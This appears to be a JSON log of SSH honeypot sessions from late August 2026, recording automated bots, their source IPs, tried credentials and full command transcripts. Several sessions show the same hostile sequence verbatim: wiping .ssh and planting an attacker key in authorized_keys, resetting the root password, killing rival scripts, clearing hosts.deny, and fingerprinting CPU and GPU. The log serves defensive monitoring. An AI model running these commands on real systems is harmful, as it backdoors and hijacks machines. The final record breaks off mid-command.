{"id":"391361d1-85c4-4163-a3bc-009c9a036642","name":"craggy-burly-dormouse","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":39936,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":1116,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:59:43.655151+00:00","ended_at":"2026-08-27T12:59:44.427483+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2332,"events":[{"seq":1,"at":"2026-08-27T12:59:16.286393+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:59:16.808232+00:00","kind":"output","latency_ms":null,"data":"-bash: cd: command not found"},{"seq":3,"at":"2026-08-27T12:59:17.923538+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":4,"at":"2026-08-27T12:59:25.371863+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":5,"at":"2026-08-27T12:59:25.372539+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":6,"at":"2026-08-27T12:59:26.245471+00:00","kind":"input","latency_ms":null,"data":"echo \"root:2t5SttjavhId\"|chpasswd|bash"},{"seq":7,"at":"2026-08-27T12:59:26.800590+00:00","kind":"output","latency_ms":null,"data":""},{"seq":8,"at":"2026-08-27T12:59:27.433898+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":9,"at":"2026-08-27T12:59:28.666348+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":10,"at":"2026-08-27T12:59:28.666902+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T12:59:29.814254+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T12:59:30.340765+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:59:31.567108+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T12:59:32.151735+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T12:59:33.303656+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T12:59:33.304150+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T12:59:34.453939+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T12:59:34.455300+00:00","kind":"output","latency_ms":null,"data":" 12:59:34 up 7 days, 9:49, 0 user, load average: 0.03, 0.03, 0.03\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T12:59:35.532806+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T12:59:35.533330+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T12:59:36.408414+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T12:59:36.408864+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T12:59:37.285297+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T12:59:37.285925+00:00","kind":"output","latency_ms":null,"data":"top - 12:59:37 up 7 days, 9:49, 0 user, load average: 0.03, 0.03, 0.03\nTasks: 104 total, 1 running, 103 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6990 free, 8897 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T12:59:38.508467+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T12:59:38.509070+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T12:59:39.392379+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T12:59:39.393126+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T12:59:40.845143+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T12:59:40.847098+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":31,"at":"2026-08-27T12:59:41.715137+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T12:59:42.436503+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T12:59:43.655959+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T12:59:44.147776+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"5454","method":"password","accepted":true,"tier":"other"}]} {"id":"d91355f6-8367-41ae-9882-ce106b0ff799","name":"arctic-mellow-francolin","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":45630,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:59:43.485539+00:00","ended_at":"2026-08-27T12:59:45.122735+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"26dab256-82a4-47fa-95fb-5e692991cd49","name":"vaulted-sleepy-loris","protocol":"ssh","channel_kind":null,"src_ip":"94.154.43.56","src_port":38192,"username":"admin","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:59:37.388555+00:00","ended_at":"2026-08-27T12:59:40.357079+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"admin","password":"admin","method":"password","accepted":true,"tier":"common"}]} {"id":"5db6ab5f-6cea-4156-989f-2ab410be75ca","name":"crisp-honest-sandpiper","protocol":"ssh","channel_kind":null,"src_ip":"202.155.157.112","src_port":34688,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:59:23.528297+00:00","ended_at":"2026-08-27T12:59:25.091372+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"a7b12ad3-f6f5-4e6c-b95c-869f7c38acf2","name":"keen-thrifty-gannet","protocol":"ssh","channel_kind":"exec","src_ip":"2.57.122.53","src_port":39222,"username":"vyos","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":205,"probe_flagged":0,"exec_command":"/bin/./uname -s -v -n -r -m","started_at":"2026-08-27T12:59:22.812735+00:00","ended_at":"2026-08-27T12:59:22.915557+00:00","ended_reason":"exec complete","commands":7,"transcript_bytes":736,"events":[{"seq":1,"at":"2026-08-27T12:59:20.995128+00:00","kind":"input","latency_ms":null,"data":"/bin/./uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-27T12:59:21.579715+00:00","kind":"output","latency_ms":null,"data":""},{"seq":3,"at":"2026-08-27T12:59:21.787871+00:00","kind":"input","latency_ms":null,"data":"uptime -p"},{"seq":4,"at":"2026-08-27T12:59:21.788390+00:00","kind":"output","latency_ms":null,"data":" 12:59:21 up 7 days, 9:49, 0 user, load average: 0.1, 0.12, 0.1"},{"seq":5,"at":"2026-08-27T12:59:21.991716+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA | cut -f5- -d ' '"},{"seq":6,"at":"2026-08-27T12:59:21.992202+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":7,"at":"2026-08-27T12:59:22.196558+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA -c"},{"seq":8,"at":"2026-08-27T12:59:22.196881+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":9,"at":"2026-08-27T12:59:22.403811+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | head -n 1 | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}'"},{"seq":10,"at":"2026-08-27T12:59:22.406164+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":11,"at":"2026-08-27T12:59:22.608274+00:00","kind":"input","latency_ms":null,"data":"lspci | grep \"3D controller\" | cut -f5- -d ' '"},{"seq":12,"at":"2026-08-27T12:59:22.608846+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":13,"at":"2026-08-27T12:59:22.813609+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | grep . -c "},{"seq":14,"at":"2026-08-27T12:59:22.814065+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"}],"credentials":[{"username":"vyos","password":"vyos","method":"password","accepted":true,"tier":"other"}]} {"id":"860a6791-a3f4-4073-a631-2a8a43e2b33d","name":"feral-wry-turnstone","protocol":"ssh","channel_kind":null,"src_ip":"202.155.157.112","src_port":34674,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:59:20.397620+00:00","ended_at":"2026-08-27T12:59:21.866089+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"fa311760-9d13-49dd-9e08-b5906e2ba25d","name":"balmy-scarlet-koala","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":59974,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":458,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:58:39.450022+00:00","ended_at":"2026-08-27T12:58:40.512283+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:58:20.654392+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:58:21.107809+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:58:25.078107+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:58:25.391524+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:58:25.848425+00:00","kind":"input","latency_ms":null,"data":"echo \"root:lQTKjzyacDK3\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:58:26.311664+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:58:26.763715+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:58:27.198573+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:58:27.656721+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:58:28.539110+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:58:28.998568+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:58:30.069107+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:58:30.526677+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:58:31.253745+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:58:31.708696+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:58:31.997214+00:00","kind":"output","latency_ms":null,"data":" 12:58:31 up 7 days, 9:48, 0 user, load average: 0.12, 0.13, 0.12\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:58:32.452798+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:58:32.763957+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:58:33.219214+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:58:33.814139+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:58:34.267178+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:58:34.581546+00:00","kind":"output","latency_ms":null,"data":"top - 12:58:34 up 7 days, 9:48, 0 user, load average: 0.12, 0.13, 0.12\nTasks: 108 total, 1 running, 107 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:58:35.040397+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:58:35.895954+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:58:36.362884+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:58:36.644505+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:58:37.103788+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:58:37.430204+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:58:37.899082+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:58:38.995155+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:58:39.451049+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:58:40.372655+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"IdcOffer.com","method":"password","accepted":true,"tier":"other"}]} {"id":"42103dda-053e-4506-aa47-d5294316861b","name":"verdant-proud-llama","protocol":"ssh","channel_kind":null,"src_ip":"187.111.28.131","src_port":59998,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:58:24.073588+00:00","ended_at":"2026-08-27T12:58:24.936473+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"4261b645-f0dc-4c18-9a93-e4988748d742","name":"coastal-frosty-quoll","protocol":"ssh","channel_kind":null,"src_ip":"187.111.28.131","src_port":59990,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:58:22.139885+00:00","ended_at":"2026-08-27T12:58:23.199192+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"b81903e5-027f-4f03-b5d6-2907a4608d6e","name":"brazen-prairie-dipper","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":34350,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":295,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:58:17.091596+00:00","ended_at":"2026-08-27T12:58:18.000857+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-27T12:57:58.301697+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:57:58.596274+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:58:01.678710+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:58:02.466887+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:58:02.762453+00:00","kind":"input","latency_ms":null,"data":"echo \"root:q9VcJAHDFJy3\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:58:03.057422+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:58:03.352081+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:58:03.710719+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:58:04.007236+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:58:05.418493+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:58:05.713561+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:58:06.960750+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:58:07.261086+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:58:07.815337+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:58:08.113954+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:58:08.968948+00:00","kind":"output","latency_ms":null,"data":" 12:58:08 up 7 days, 9:48, 0 user, load average: 0.35, 0.29, 0.3\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:58:09.264913+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:58:10.112108+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:58:10.407343+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:58:11.210507+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:58:11.509597+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:58:11.919918+00:00","kind":"output","latency_ms":null,"data":"top - 12:58:11 up 7 days, 9:48, 0 user, load average: 0.35, 0.29, 0.3\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7467 free, 8420 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:58:12.216114+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:58:13.046443+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:58:13.343721+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:58:13.856225+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:58:14.151376+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:58:14.502188+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:58:14.798901+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:58:16.795706+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:58:17.092544+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:58:17.916172+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"ASDzxc123","method":"password","accepted":true,"tier":"other"}]} {"id":"990db4c9-ea26-41b4-b957-2395fe52d53c","name":"hushed-thorny-saola","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":34378,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:58:00.848161+00:00","ended_at":"2026-08-27T12:58:01.591834+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"906c3514-79d5-41ae-a824-40aed4be2cef","name":"keen-indigo-flamingo","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":34364,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:57:59.253898+00:00","ended_at":"2026-08-27T12:58:00.246883+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"f5766448-702a-4f7c-9da4-fc116ddb10dc","name":"deft-civil-numbat","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":56116,"username":"camera","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":327,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:57:58.327929+00:00","ended_at":"2026-08-27T12:57:59.404784+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2247,"events":[{"seq":1,"at":"2026-08-27T12:57:41.018908+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:57:41.347206+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa 